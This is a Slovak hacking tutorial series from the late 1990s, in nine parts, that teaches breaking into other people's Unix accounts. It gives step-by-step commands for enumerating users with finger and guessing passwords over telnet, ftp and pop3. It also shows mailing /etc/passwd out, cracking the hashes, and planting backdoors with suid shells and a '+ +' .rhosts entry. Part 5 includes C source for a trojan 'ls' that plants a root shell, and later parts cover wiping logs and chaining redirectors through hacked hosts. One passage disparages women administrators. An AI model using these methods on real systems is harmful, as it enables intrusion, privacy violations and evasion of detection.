Pisal som to jak buzerant dlho cize trocha sa snazte pochopit lebo obcas som kolo toho uz zaspaval
                                                                             ani ja nechapem vela veciam . vzdy sa je co ucit

   
Vazeni citatelia! V tejto casti prirucky si povieme nieco o preniknuti na

konto na nejakej masine.


Prvym krokom je vyhliadnutie vhodneho servera. Server vyberame podla toho, co

mienime na nom robit. Vacsinou chceme robit take veci, ktore na vlastnom konte

nemozeme, cize skusanie si roznych hackerskych praktik. Preto sme sa rozhodli

pre nejake "cudzie" konto. Najlepsie je dostat sa na server, ktory ma dobre

spojenie s nami. To znamena, ze patri bud pod toho isteho providera (posky-

tovatela), alebo ma s nim aspon peering (jednoducho povedane, priame spojenie).


Vyskusame nejake web servery, na ktorych moze bezat Linux. Vyskusame sa napr.

telnetovat na nejaky www server. Ak sme uspesni, server nam posle klasicky

login:

Teraz mozeme jednoducho vyskusat rychlost spojenia ak do loginu nieco napiseme.

Ak piseme bez velkych odoziev znamena to rychle spojenie. Nieje vzdy pravidlom,

ze server geograficky blizko ma s nami rychle spojenie. Moze patrit pod ineho

providera, a ten ked nema s tym nasim peering, cela komunikacia moze prebiehat

cez USA :).

Ako sa ale dostaneme dovnutra servera ?

Najprv sa pozrieme, ci sa daju zistit informacie zo servera prostrednictvom

fingeru. Zadame najprv: finger @nazov_serveru

a cakame na odpoved. V horsom pripade sa vypise: Connection refused,

alebo sa vypise len prazdny riadok.

Dalej moze byt odpoved "no one logged on". To je dobra sprava, pretoze sice

prave nikto nieje prihlaseny, ale mozeme dalej ziskavat informacie cez finger.

Teraz si mozeme fingernut napr. roota (finger root@nazov_servera).

Mali by sa zobrazit informacie ako login meno (root), plne meno, kedy bol

naposledy prihlaseny, aky ma shell, kde ma adresar, a pod ...

Teraz si vyskusame, ci nam server dovoluje cez finger pozerat ciastkove in-

formacie. Ak sa nam pri fingernut roota vypisalo "In real life: System

PRIVILEGED account" alebo nejaka ina hlaska, skusime pri finger root@server

zadat miesto slova root nejake slovo ktore sa vypise v "In real life: ", v

nasom pripade napr. finger account@server.

Ak sa nam zobrazi to iste co predtym (info o konte roota), znamena to, ze

finger moze vyhladavat v lubovolnej polozke.

Ako ziskat zoznam vsetkych uzivatelov servera? To je prave niekedy tazke,

ale na niektorych systemoch sa da pouzit pekna finta: Pozrieme sa, aky shell

ma nastaveny root. Napriklad /bin/bash. Zadame teda: finter /bin/bash@server.

Niektore systemy pekne vyklopia vsetkych uzivatelov, ktori maju dany shell.

(moze ich byt vacsina). Mozeme skusit aj /bin/csh, /bin/tcsh, ksh, sh, atd ...


Je to vsak len krajne riesenie, lebo funguje len malokedy.

Vo vacsine pripadov musime hadat aspon krstne mena uzivatelov. Takto ziskame

aspon zakladne poznatky o serveri. Potom sa mozeme pustit do hadania hesliel.

Ako heslo mozeme skusi login uzivatela, jeho krstne meno, priezvisko, a pod.

Ak je dostatok uzivatelov a na hesla niesu stanovene specialne poziadavky

(aspon jedno cislo, znak a pod), nieje problem nejake uhadnut. Mozeme skusat

nielen cez telnet, ale aj cez ftp, ci postovy protokol pop3.


Ak sme sa uspesne dostali dnu, fingerom si zistime, ci nahodou nieje prihlaseny

root (vtedy je riziko nieco robit). Aby sme zamaskovali adresu odkial sa

hlasime, mozeme vyskusat jednoduchu fintu, zial funguje len na niektorych sys-

temoch. Proste zadame prikaz login, a logneme sa znovu. Hodime na seba finger,

a zistime si ci sa tam nachadza ip adresa odkial ideme. Ak je tam napisane

nieco taketo "On since xxxxx ... from ttyp2" (na konci nieje adresa ale tty),

znamena to uspesne zamaskovanie, samozrejme len navonok. Ale pomaha to.


Prvou vecou ktoru musime spravit, je stiahnut si rychlo subor s uzivatelmi

(a mozno aj zakryptovanymi heslami) - /etc/passwd

Bud ho cez ftp prenesieme na nase vlastne konto, alebo odosleme postou prikazom

      cat /etc/passwd |mail email@adresa


Viac o subore /etc/passwd, ako z neho ziskat hesla, ale aj mnoho ineho sa

dozviete v dalsej casti nasej prirucky.

HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/PRIVATE "TYPE=PICT;ALT=TOPlist"INCLUDEPICTURE  \d "http://www.toplist.cz/count.asp?ID=10551&logo=blank"HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/



==== PRIRUCKA MLADYX HACKEROF part 2 ==== Copyleft R|msky 0tr0k.FMX '97 ====


V tejto casti nasho serialu si povieme nieco blizsie o subore /etc/passwd

v unixe, a ako sa daju z neho vytiahnut uzivatelske hesla.


Informacie o uzovateloch v systeme UNIX su ulozene aj v subore /etc/passwd

Subor si mozeme zobrazit prikazom: more /etc/passwd

Moze vyzerat napriklad nasledovne:

===================================================================

root:ENMuClZY7D2sI:0:0:System PRIVILEGED account:/root:/bin/bash

bin:*:1:1:bin:/bin:

daemon:*:2:2:daemon:/sbin:

adm:*:3:4:adm:/var/adm:

lp:*:4:7:lp:/var/spool/lpd:

sync:*:5:0:sync:/sbin:/bin/sync

shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown

halt:*:7:0:halt:/sbin:/sbin/halt

mail:*:8:12:mail:/var/spool/mail:

news:*:9:13:news:/var/spool/news:

uucp:*:10:14:uucp:/var/spool/uucp:

operator:*:11:0:operator:/root:

games:*:12:100:games:/usr/games:

gopher:*:13:30:gopher:/usr/lib/gopher-data:

ftp:*:14:50:FTP User:/home/ftp:

nobody:*:99:99:Nobody:/:

technik:KIUlCca2pNAH.:505:200:Technicky Servis,,,,:/home/technik:/bin/bash

ryba:m3tp9RT60J9NU:508:701:Milan Ryba,spravca,,,:/home/ryba:/bin/bash

horvat:K4lJNXC9rUTMk:509:701:Ivan Horvat:/home/horvat:/bin/tcsh

===================================================================


Teraz si vysvetlime, co znamenaju jednotive polozky:


technik:KIUlCca2pNAH.:505:200:Technicky Servis,,,,:/home/technik:/bin/bash

  |          |         |   |         |                   |          |

  |          |         |   |         |                   |          |

  1          2         3   4         5                   6          7


1) Uzivatelov login, t.j. meno, ktorym sa prihlasuje do systemu.

2) Zakryptovane heslo. Heslo je zakodovane tak, ze neexistuje sposob ako

   ho odkodovat (irreversibilny algoritmus). Dlzka zakryptovaneho hesla je

   13 znakov.

3) User ID, cize cislo ktorym je uzivatel identifikovany vnutri systemu.

   Unix nepracuje s login menami, ale prave s UserID.

4) Group ID, cize cislo skupiny (grupy) ku ktoremu uzivatel patri.

5) Cele meno uzivatela.

6) Cesta k domovskemu adresaru uzivatela.

7) Shell (interpreter prikazov), ktory sa spusta po nahlaseni uzivatela.

   Je to nieco ako command.com v dos-e. Jednotlive shelly (sh, csh, tcsh,

   bash, ksh) sa lisia svojimi moznostami.


Hviezdicka miesto zakryptovaneho hesla znamena, ze dane konto sa nepouziva

na prihlasovanie.

Novsie verzie UNIXu neobsahuju zakryptovane heslo v /etc/passwd, miesto neho

je tam len '*' alebo iny znak. Skutocne hesla su ulozene v subore, do ktoreho

ma pristup len spravca (root) a jadro systemu (jednoducho povedane).

Uzivatel ktory ma UserID = 0, ma rootovske prava, to znamena ze ma na po-

citaci "plnu moc". Ma pravo robit vsetky operacie so vsetkymi subormi.


Ak mame k dispozicii zakryptovane hesla, ako z nich mozeme ziskat hesla

uzivatelov ? Povedali sme si, ze hesla su kodovane nevratne. Pri prihlasovani

uzivatela sa zadane heslo zakoduje tym istym algoritmom do 13-znakoveho

retazca, a tento sa porovna s retazcom v /etc/passwd. Ked suhlasia, znamena

to ze uzivatel zadal spravne heslo a system ho vpusti dnu.

Porovnavaju sa teda zakryptovane tvary.

Teda jedinym sposobom ako ziskat hesla uzivatelov, je pouzit program, ktory

cita mozne hesla zo suboru, zakryptuje ich, a porovna s /etc/passwd.

Ak ma uzivatel heslo, ktore sa v nasom "slovniku" nachadza, ma smolu.

Heslo je odhalene. Preto uzivatelia ktori maju dobre hesla (kombinacie vel-

kych a malych pismen, cisel a znakov, napr. "y9Rt%a./") mozu pokojne spavat,

pretoze prist na ich heslo je prakticky nemozne.

Mozno vas napadlo: Co takto skusat vsetky mozne kombinacie pismen, cislic a

znakov? Je to samozrejme mozne, ale jednoduchym vypoctom sa da zistit, ze

taketo nieco nieje v rozumnom case realizovatelne. (zalezi od hardware po-

citaca, ale na bezne dostupnom hardwari by to trvalo par tisic rokov :).

Tym, ktori sa chcu do toho pustit pripomeniem, ze takto zakodovane heslo ma

maximalne 8 znakov. Aj to je dost.

Na crackovanie hesiel existuje kopec softu, medzi najlepsi a najrychlejsi

patri Cracker Jack 1.4, ktory crackuje zavratnou rychlostou (iba pre DOS).

Da sa splasit hocikde na internete. Taktiez o velke slovniky nieje nudza.


Ak sme uz teda zistili kamaratove heslo a chceme mat pristup na jeho konto aj

keby zmenil heslo, ...... ale to uz je obsahom nasledovnej casti nasej pri-

rucky ;)

HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/PRIVATE "TYPE=PICT;ALT=TOPlist"INCLUDEPICTURE  \d "http://www.toplist.cz/count.asp?ID=10551&logo=blank"HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/


==== PRIRUCKA MLADYX HACKEROF part 3 ==== Copyleft R|msky 0tr0k.FMX '97 ====


V minulej casti sme si povedali, ako odhalit uzivatelske hesla. Povedzme ze

sme tymto odhalili kamaratove heslo, a chceme mu citat postu. Ale co ak on

pride na to ze sa mu niekto "vlamal" na konto, a zmeni heslo ? Taktiez niektore

systemy maju nainstalovany tzv. "password aging" system, ktory nuti uzivatelov

menit si pravidelne hesla. Ak by si uzivatel zmenil heslo, nemali by sme sancu

nadalej mu chodit na konto.


Preto si spravime nejake zadne dvierka. Chceme mu teda pravidelne citat postu.

Nastavime prava jeho postovej schranky tak, aby bola citatelna vsetkymi uzi-

vatelmi. Zadame prikaz:


      chmod 644 $MAIL


V premennej $MAIL je ulozena cesta k jeho postovej schranke. Prava sme nasta-

vili nasledovne: citanie+zapis pre majitela (owner), a citanie pre vsetkych.

Blizsie informacie o zmene prav najdete v manualoch (man chmod)


Dalej spristupnime adresar prikazom:


      chmod 777 ~


cim nastavime vsetky prava na adresar, cize hocikedy sa mozeme do neho dostat.

Podobne mozeme spristupnit aj subory v tomto adresari.

Dalej si vytvorime tzv. suid shell. Znamena to, ze ked spustime tento shell,

automaticky budeme mat prava daneho uzivatela (nie vzdy sa to vsak da, ale ked

sa to da, netreba spristupnovat postu, adresar apod, pretoze budeme mat pristup

ku vsetkemu co patri uzivatelovi ...).

Napiseme prikazy:


      cp /bin/sh /tmp/sh1

      chmod 6777 /tmp/sh1


Tymto vytvorime suid shell v adresari /tmp s nazvom "sh1". V /tmp to vsak moze

byt napadne, preto si shell mozeme skopirovat do nasho adresara (musime vsak

donho nastavit pristup na zapis).


Potom kedykolvek na svojom konte napisete "/tmp/sh1",budete mat prava uzivatela

pod ktorym sme vytvorili tento shell (alebo napiseme ./sh1, ak sme shell dali

do naseho adresara). Suid shell je zvlast vhodne spravit, ked sme hackli

roota :).


V nasledujucej casti si ukazeme, ako sa dostat na konto pomocou rlogin.

Zatial si s kamaratom vyskusajte tvorbu suid shellov ;).

HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/PRIVATE "TYPE=PICT;ALT=TOPlist"INCLUDEPICTURE  \d "http://www.toplist.cz/count.asp?ID=10551&logo=blank"HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/



==== PRIRUCKA MLADYX HACKEROF part 4 ==== Copyleft R|msky 0tr0k.FMX '97 ====


      .rhosts = zadne dvierka k serveru

      ---------------------------------


V tejto casti si povieme, ako si mozeme zabezpecit pristup ku kontam na ktore

sme sa naburali, aj ked bude na nich zmenene heslo.


UNIXove systemy dovoluju nahlasovat sa na konto nielen pomocou sluzby telnet,

ale aj pomocou "rlogin". Prikaz rlogin sa pouziva v nasledovnom tvare


      rlogin masina

       alebo

      rlogin -l username masina


napr.:      rlogin -l horvat foo.foobar.sk


To znamena, ze sa chceme prihlasit ako "horvat" na server foo.foobar.sk

Po zadani prikazu si samozrejme vzdialeny server vypyta horvatove heslo.


Ako sa mozem ale dost na server aj bez zadavania hesla ?

Povedzme, ze mame konto pod menom "pokus" na pocitaci "first.foobar.sk".

Mame este jedno konto, ale pod menom "test" a na pocitaci "second.foobar.sk".

Chceme, aby sme sa mohli bez zadavania hesla dostat kedykolvek na nase druhe

konto (test@second.foobar.sk). Ako na to ?

Na pocitaci second.foobar.sk si vo svojom adresari (~test/) vytvorime subor

s nazovom ".rhosts", a do neho vpiseme nasledovny riadok:

first.foobar.sk pokus

Tym padom urcime, ze z konta "pokus" na pocitaci first sa budeme moct cez sluz-

bu rlogin dostat na konto "test" na pocitaci second, a to bez overovania hesla.

(pocitac first volame "trusted server", cize server ktoremu "doverujeme").


Na pocitaci first (na konte "pokus") teda napiseme:


      rlogin -l test second.foobar.sk


a pocitac second nas prihlasi aj bez overenia hesla.

Ak mame na oboch pocitacoch rovnaky login, mozeme vynechat parameter -l.


Naucili sme sa teda pouzivat subor .rhosts.

Samozrejme, takto mozeme lubovolnemu uzivatelovi "podstrcit" .rhosts do jeho

adresara (ked sa nachvilu vzdiali od terminalu, alebo zostane prihlaseny),

a potom sa mozeme dostat na jeho konto aj ked zmeni heslo. Ma to vsak nevyhodu:

ak si nahodou pozrie .rhosts, zbada tam nase meno a server. Ak sa nechceme

prezradit, zabezpecime si aby sme sa mohli rlogin-ovat z lubovolneho servera

pod lubovolnym menom. To je mozne, ak do .rhosts napiseme:

+ +

To znamena, ze ktokolvek si da rlogin na hacknutu osobu, dostane sa na jeho

konto.


Este jedna rada: Ak sa dostaneme na konto osobe, ktora uz subor .rhosts ma,

pozrime sa ake servery su v nom. Pomocou fingeru si zistime, ci ma osoba

rovnaky login na tychto serveroch, a vyskusame na tento server rlogin.

Je totiz mozne, ze osoba ma .rhosts aj na danej masine a ako "trusted server"

vystupuje prave ten, na ktorom prave sme. Niektori ludia maju totiz rhosty na

mnoho masinach, a preto ked im naburame jedno konto, v pohode sa dostaneme

dalej.


To je z tejto casti vsetko, odporucam preskusat si rlogin v praxi, a objavit

jeho vyhody/nevyhody.

V buducom cisle si povieme nieco o tom, ako ziskat roota velmi jednoduchym

sposobom, pomocou nespravneho pouzitia shellov.

HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/PRIVATE "TYPE=PICT;ALT=TOPlist"INCLUDEPICTURE  \d "http://www.toplist.cz/count.asp?ID=10551&logo=blank"HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/



==== PRIRUCKA MLADYX HACKEROF part 5 ==== Copyleft R|msky 0tr0k.FMX '97 ====


     Ziskanie ROOTovskych prav.


V tejto casti si povieme o sposobe, akym ziskat prava ROOTa, v pripade ak ma

systemovy administrator dostatocne male IQ. :)


Takze: Predstavme si systemoveho administratora, ktory prehladava adresare

uzivatelov. Jednoducho aby si overil ci jeho uzivatelia nahodou nepouzivaju

najake "nepovolene" programy (hackovacie:), alebo ci si nestahuju obrazky s

erotickym obsahom, moze z casu na cas prezerat adresare.


Ak je tento systemovy administrator menej zdatny (napriklad ak je to zena

alebo nejaka telocvikarka), mozeme mu nastavit pascu, ktora nam da rootovske

prava.


Ako na to ? Predstavme si, co taky systemak robi pri prehladavani adresarov.

Vojde do nasho adresara prikazom cd ~meno, a napise prikaz "ls".

Co keby sme si vytvorili program s nazvom "ls" ? Systemak ho potom spusti

miesto klasickeho "ls" vypisujuceho obsah adresa. Je vela moznosti, ktore moze

nas fingovany program spravit. Moze vyzerat napriklad takto:

(vytvorime subor s nazvom ls.c (napiseme joe ls.c))


void main()

{

seteuid(0); /* nastavi nam prava roota */

setegid(0); /* aj grupu roota */

system("cp /bin/sh subor"); /* skopiruje shell do suboru "subor" */

system("chmod 6755 subor"); /* nastavi SUID bit suboru "subor" */

system("rm ls"); /* VYMAZE nas program "ls" (aby to root nezistil) */

system("/bin/ls"); /* vykona sa "normalne" ls, aby root nic nezbadal ;) */

}


Tento program skompilujeme prikazom: cc -o ls ls.c

a mozeme sa odhlasit.

Ak pride zvedavy root a napise prikaz ls, spusti sa mu nas program, ktory

vytvori v nasom adresari kopiu shellu s nazovm "subor", a tomuto suboru

nastavi SUID bit (to znamena, ze ked ho spustime, dostaneme prava roota,

jednoducho povedane. SUID bit sa pouziva ak uzivatel musi spustit niektore

prikazy s pravami roota, napriklad program "passwd" na zmenu hesla alebo

prikaz "chfn" na zmenu finger informacii musi mat SUID bit lebo inak by sme

nemali prava modifikovat /etc/passwd).


Program na zaver este vymaze nas program ls, a vykona normalny prikaz ls,

akoby sa nic nestalo.

Ak prideme na konto a zbadame vytvoreny subor "subor", mame vyhrate.

Napiseme "subor" a mame rootovske prava.


POZOR - toto funguje len vtedy, ak je system slabo zabezpeceny alebo ak je

systemak slusne povedane "blby", pretoze mudry systemak nastavi cesty (paths)

tak, ze pri spusteni programu sa tento najskor hlada v adresaroch /bin apod.,

a az naposledy v aktualnom adresari. Tak sa nemoze stat, ze by sa spustil

fingovany program "ls".


To je nadnes vsetko, v buducej casti si povieme este o niektorych sposoboch

ako vyuzit SUID-bit na ziskanie rootovskych prav.

HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/PRIVATE "TYPE=PICT;ALT=TOPlist"INCLUDEPICTURE  \d "http://www.toplist.cz/count.asp?ID=10551&logo=blank"HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/



==== PRIRUCKA MLADYX HACKEROF part 6 ==== Copyleft R|msky 0tr0k.FMX '98 ====


SUID BIT - Ako ho zneuzit ?

Buffer overflow a exloity ?


Uz v tretej casti nasej prirucky sme si povedali par slov o SUID a o nastaveni

tohoto bitu na vytvorenie SUID shellu. Dnes si povieme trosku viac o zneuziti

programov ktory maju SUID bit nastaveny na roota.


Niektore systemove programy musi uzivatel spustat s rootovskymi pravami. Je to

koli tomu, ze tieto programy modifikuju dolezite systemove subory, do ktorych

nema bezny uzivatel za normalnych okolnosti pristup. Napriklad len obycajna

zmena hesla - nove heslo sa musi zapisat do suboru /etc/passwd, pripade este

do shadow password suboru (/etc/shadow). Preto ma program passwd nastaveny

SUID bit, cize ho spustame s pravami roota (pravda si to malokedy uvedomujeme;)

Programy vyuzivajuce SUID musia byt stopercentne naprogramovane,nesmu obsahovat

jedinu chybu, musia mat osetrene vsetky situacie, lebo inak by ich uzivatel

mohol zneuzit na ziskanie rootovskych prav. Kedze SUID programov je v systeme

viac nez dost, niekedy sa nejaka chybicka predsalen najde. Zvacsa sa vyuzije

to, ze program nema osetrenu velkost vstupu, a preto ked 'napchame' program

viac udajmi ako je zdrave, nastane BUFFER OVERFLOW chyba ktora zruti program

a nam poskytne root shell. Programy ktore spravia tuto 'spinavu robotu' za nas

su (bohuzial) volne dostupne na internete, a vacsinou staci najst len ten

spravny, spustit a ... dostaneme root shell. Velmi dobrym miestom na ziskanie

takychto programov je stranka s priznacnym nazvom: www.rootshell.com


Taketo programy, vyuzivajuce diery v systeme sa nazyvaju EXPLOITy. Samozrejme,

nie vzdy sa vyuziva len pretecenie bufferu ked sme priamo vnutri servera; mnoho

sluzieb beziacich na serveri (sendmail, POP3, IMAP) je 'deravych', a mozno cez

ne ziskat na dialku pristup na server- ci uz obycajneho uzivatela, alebo roota.


Ako sa da chranit proti takymto utokom ? Existuje niekolko programov ktore

kontroluju system (napr. CHKEXPLOIT), hladaju SUID programy a zistuju ich

verziu; upozornia ked hrozi nebezpecenstvo zneuzitia. Vtedy je potrebne bud

SUID bit z programu odstanit (ak ho vyslovene nepotrebujeme), a ak ho potre-

bujeme, musime si zabstarat co naskor novu 'zaplatanu' verziu. Odporucam

sledovat mailing list bugtraq a stranky ako www.rootshell.com a ine zaoberajuce

sa pocitacovou bezpecnostou.


Ak si myslite, ze systemaci vzdy zaplataju hned vsetky diery, tak ste na omyle-

vacsinou plati pravy opak. Vzdy sa oplati vyskusat, ci prave pre ten nas system

nebude fungovat nejaky ten exploitik (ak pracujete na skolskom systeme, tak

je velmi pravdepodobne, ze o chvilu mate root shell ;))

Ak sa vam to nebodaj podari, nepodlahnite pocitu najvyssej moci - moze sa vam

to totiz vypomstit. Preco ? O tom si povieme nabuduce .... ;-)

HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/PRIVATE "TYPE=PICT;ALT=TOPlist"INCLUDEPICTURE  \d "http://www.toplist.cz/count.asp?ID=10551&logo=blank"HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/




==== PRIRUCKA MLADYX HACKEROF part 7 ==== Copyleft R|msky 0tr0k.FMX '98 ====Logy a mazanie sa z logov.V minulej casti sme ziskali prava roota pomocou exploitu. Privilegovany stavnam dovoluje robit si na serveri co sa nam zachce. Je tu ale jedna vec, ktorasleduje kazdy nas krok, a starostlivo to zapisuje.Ta vec sa vola syslog demon (syslogd). Hlavne systemove zapisy sa nachadzajuvo /var/log/syslog a /var/log/messages. Skus sa do nich pozriet. Uvidisvsetko ako na dlani - kedy si sa logoval, odkial si sa logoval, co si robil,dosiahnutie rootovskeho stavu, apod. Dokonca sa zapise aj adresa na ktoru si si nechal poslat /etc/passwd ;)) Logovat sa da mnoho veci. Zalezi od systemaka, co vsetko chce sledovat. Nastavenie syslog demonu sa robi v subore /etc/syslogd. V tomto subore jeuvedene co sa ma logovat, a kam sa to ma logovat. Preto je vhodne najskorsi zistit, ci sa neloguje niekam "do paze", pretoze potom sa zbytocne budeme zameriavat na adresar /var/log, ked tam nic nenajdeme.Ked uz nas takto system zapisal, potrebujeme sa z logov vymazat. Ako spravnymlady zaciatocnik, vymazes sa jednoducho tak, ze editnes syslog alebo messagesa zmazes vsetky riadky, ktore monitoruju Tvoju nekalu cinnost.Samozrejme, existuju skripty ktore celu cinnost automatizuju. Vhodne je potomaspon skontrolovat, ci sa naozaj vsetko vycistilo. Okrem klasickych textovych logov existuju este aj tzv. binarne logy, kamsa zapisuju vsetky prihlasenia a odhlasenia uzivatelov. Tieto informaciesu dostupne pomocou prikazu "last". (blizsie info - man last)Pochopitelne, mame tam uz 'svoj' zaznam, ktory treba vymazat. Bohuzial (alebonastastie ? :) tieto informacie sa zaznamenavaju binarne do suboru /var/log/wtmp a teda subor sa neda editovat klasickym editorom. Existuje vsakkopec programov na 'cistenie' aj z tychto druhov logov. Tie lepsie programysi automaticky zistia vsetky informacie o syslog demonovi, a automaticky Tavymazu zo vsetkych logov. Taktiez umoznuju vytvarat 'falosne' logy, ktore mozusystemaka priviest na falosnu stopu (celkom dobry sposob ako priviest kamosado pruseru, nie ? :). Nieje cielom tejto prirucky poskytovat presne adresykde sa daju najst tieto programy; mlady hacker si to urcite rad zisti aby mohol experimentovat. Doporucujem preskusat si tieto programy doma na linuxe,aby si potom mohol 'v praxi' pohotovo reagovat. Samozrejme, toto vsetko je len zaciatok. Este treba mazat aj bash history(vsetky prikazy napisane v shelli sa tiez zapisuju) - na to odporucam konzul-tovat 'man bash', skontrolovat ci sme niekde nenechali zalozny subor z edi-tovaneho logu, atd ... Nema zmysel robit presne navody na dokonale mazanie,ved vlastnymi skusenostami a postupnym poznavanim UNIXu na vsetko prides sam.Ale nemysli si ze zmazanim logov to hasne. Su systemy, ktore loguju priamona tlaciaren alebo priamo posielaju logy na iny server, a taketo nieco nemassancu vymazat ! (no, az sa pravda nevlames do hacknutej kancelarie a neukradnesvytlacene logy priamo z tlaciarne ;). Preto sa nikdy neprihlasuj zo servera na ktorom mas napr. skolske konto, alebo z prace. Systemak hacknuteho servera Tatakto velmi lahko vystopuje, a mas pruser. Musis byt totalny paranoik, ale to snad nemusim pripominat, to pride samo ;) Neverit nikomu a nicomu, pretozevsetko sa niekam loguje. Dokonca aj nevinne prezeranie stranky na serveriktory hackujes Ta moze krasne prezradit, pretoze vsetky http transakcie sa log



==== PRIRUCKA MLADYX HACKEROF part 8 ==== Copyleft R|msky 0tr0k.FMX '98 ====


Redirektory.


Ak sme sa v minulej casti uspesne vymazali z logu, neznamena to este, ze sme

zakryli vsetky stopy. Kedze sme len mladi hackeri a dokonale zahladenie stop

prekracuje ramec tejto prirucky, povieme si ako vyuzivat redirektory a tym

zamaskovat adresu z ktorej pristupujeme k hackovanemu serveru.


Redirektor (alebo 'forwarder') je program, ktory "zavesime" na port nejakeho

servera ktory nam bude sluzit ako brana. Tento server moze byt nejaky zabud-

nuty skolsky server ktory sa uz velmi nevyuziva, ktory sme hackli uz davno,

ktory ma blbeho systemaka, a na ktorom ale moze byt potencialna hrozba, ze

by tento blby systemak zistil odkial sa nan hlasis, a ze z neho potom hac-

kujes. Nazvime tuto masinu ako 'A' (stroj_a.sk)

Vsetky pakety ktore posles na vopred zvoleny port servera 'A' budu presmero-

vane na server 'B' (stroj_b.sk) na port, ktory tiez urcis.

Spusta sa to teda vacsinou nasledovne:


stroj_A:~> redir 6969 stroj_b.sk 23


kde 6969 je port na lokalnej masine, na ktorej spustam redirektor, stroj_b.sk

je nazov stroja na ktory budem utocit, a 23 je port na tom serveri (23=telnet)

Ak je vsetko v poriadku, vyskusaj: telnet stroj_a.sk 6969

Mala by sa Ti prihlasit vyzva login: na serveri B. Odteraz sa teda nebudes

telnetovat priamo na stroj_b.sk, ale na stroj_a.sk 6969.

Samozrejme, porty si mozes zmenit. Este si mozes redirektnut port 21 stroja B

trebars na port 6970 stroja A, aby v pripade potreby mohol FTPckovat

(ftp stroj_a.sk 6970).

Figel celej tejto procedury spociva v tom, ze vsetky logy na stroji B zazna-

menaju 'utok' akoze z adresy stroja A. Skutocna adresa z ktorej si sa hlasil

na port 6969 stroja A zostane utajena.

Len si musis davat pozor ked sa prihlasujes na stroj A za ucelom umiestnenia

redirektora. Vtedy musis zahladit vsetky stopy alebo sa nan prihlasit z

nejakeho dialup konta alebo internetovej kaviarne :). Ak uz redirektor je

umiestneny, je to v pohode (az pokial nerebootnu stroj na ktorom bezi :).


Ak mas dostatok vhodnych serverov, mozes na ne umiestnit redirektory a vzajomne

ich pospajat:


na stroji A: redir 5000 stroj_b.sk 5001

na stroji B: redir 5001 stroj_c.sk 5002

na stroji C: redir 5002 stroj_d.sk 23


potom telnet stroj_a.sk 5000 Ta presmeruje az na stroj_d.sk :)) Cim viac spoje-

nych bran, tym lepsie (ale 2-3 uplne stacia, potom je to uz paranoja a

zbytocne neprehladna situacia)


Zdrojovy text redirektora tu nebudem uvadzat, da sa stiahnut hocikde na sieti;

odporucam http://hysteria.sk/arxiv - tam sa nachadza vo viacerych verziach.

Na zaciatok odporucam najst a vyskusat interaktivny redirektor, ktory nema

pevne zadanu cielovu adresu - zadas mu ju priamo po pripojeni telnetom na

redirektor (pripadne po zadani specialneho hesla). Napriklad:


moj_stroj:~> telnet stroj_A 6969

Trying 194.154.82.33...

Escape character is '^['

jasomhacker

stroj_b.sk


Welcome to stroj_B (running on LINUX)


stroj_b login:


---------------------

teda po napojeni na redirektor sme zadali tajne heslo (jasomhacker) a potom

adresu kam sa chceme presunut.


Samozrejme, redirektory sa daju pouzit aj na ine veci. Anonymne IRC servery

(presmerovanie portu 6777 nejakeho IRC servera), okaslanie sluzieb ktore

pracuju len v ramci nejakej domeny (napr. niektore SANETacke NEWS servery

sa daju vyuzit len v sieti SANET, ak chceme ich sluzby vyuzivat aj v inej

sieti, supneme si na nejaky sanetacky server redirektor), etc, etc ...


Dohackovania nabuduce sa tesi - R|msky 0tr0k.FMX :))

HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/PRIVATE "TYPE=PICT;ALT=TOPlist"INCLUDEPICTURE  \d "http://www.toplist.cz/count.asp?ID=10551&logo=blank"HYPERLINK "http://www.toplist.cz/"http://www.toplist.cz/



==== PRIRUCKA MLADYX HACKEROF part 9 ==== Copyleft R|msky 0tr0k.FMX '98 ====Pop3 utok.Dnes si

povieme par slov o postovom protokole pop3. Kedze sme mladi hackeri,pokusime sa pomocou tejto

sluzby naburat unixovy system.Co je to pop3? Pop3 (celym menom Post Office Protocol ver. 3) je

protokol, ktorym si preda-vaju postu server a klient. Je to velmi casto a coraz castejsie

pouzivanyprotokol hlavne u uzivatelov s dial-up spojenim. Ked sa pripojis na internetaby si si

stiahol novu postu, Tvoj postovy klient komunikuje so serveromprave pomocou protokolu pop3.

Serverom byva vacsinou daemon pod UNIXom alebo Windows NT, ako klient vystupuje mailovaci

program (vacsinou pod W|ndow$, napr.Pegasus Mail (lepsi pripad), Microsoft Mail (horsi pripad),

Outlook (estehorsi pripad), alebo Outlook Express (snad najhorsi pripad :)).Ak teda tento pripad

doverne poznas, a postoveho klienta si si konfigurovalsam, iste Ti neuniklo ze pri nastavovani

parametrov vyplnas POP3 Server host-name, pop3 username, a password. Ako prebieha komunikacia

klinet<->server?Pozrime sa na to cez univerzalny TELNET. Port pre pop3 je standardne

(a vdrvivej vacsine pripadov, ak provider neurci inak) 110.Vyber si nejaky UNIX server (napr.

na ktorom mas konto, my si zoberieme standardne test.testland.com), a vyskusaj:%

telnet test.testland.com 110Trying 168.175.44.20...Connected to test.testland.com.Escape

character is '^]'.+OK QPOP (Version 2.6) at test.testland.com starting.Teraz sa prihlas prikazmi

'user' a 'pass' nasledovne:user tvoj_login+OK Password required for tvoj_loginpass tvoj_password+OK Y

ou have 12 messages in your mailbox.Po spravnom prihlaseni si dokonca takto mozes prezerat aj

svoju postu, aknapises "retr 1" (prva sprava), "retr 2" (druha sprava), atd ...Na konci napis

"quit".Takymto sposobom teda prebieha komunikacia pri prenose sprav od servera kuklientovi.A

naco je to dobre mlademu hackerovi? Mlademu hackerovi sa takto naskytneskvela sanca HADAT HESLA.

Vyhody su nasledovne:- Ziadne cakanie pri nespravnom hesle (moznost okamziteho opakovania)-

Moznost opakovania pokusu- Na niektorych (hlavne starsich) systemoch sa vobec neloguje taketo

hadanie- Moznost prakticky stale opakovat hadanie, server Ta sice moze vyhodit po par pokusoch,

ale mozes sa znovu connectnut naspat a skusat dalej.- Vacsinou sa po neuspesnych pokusoch

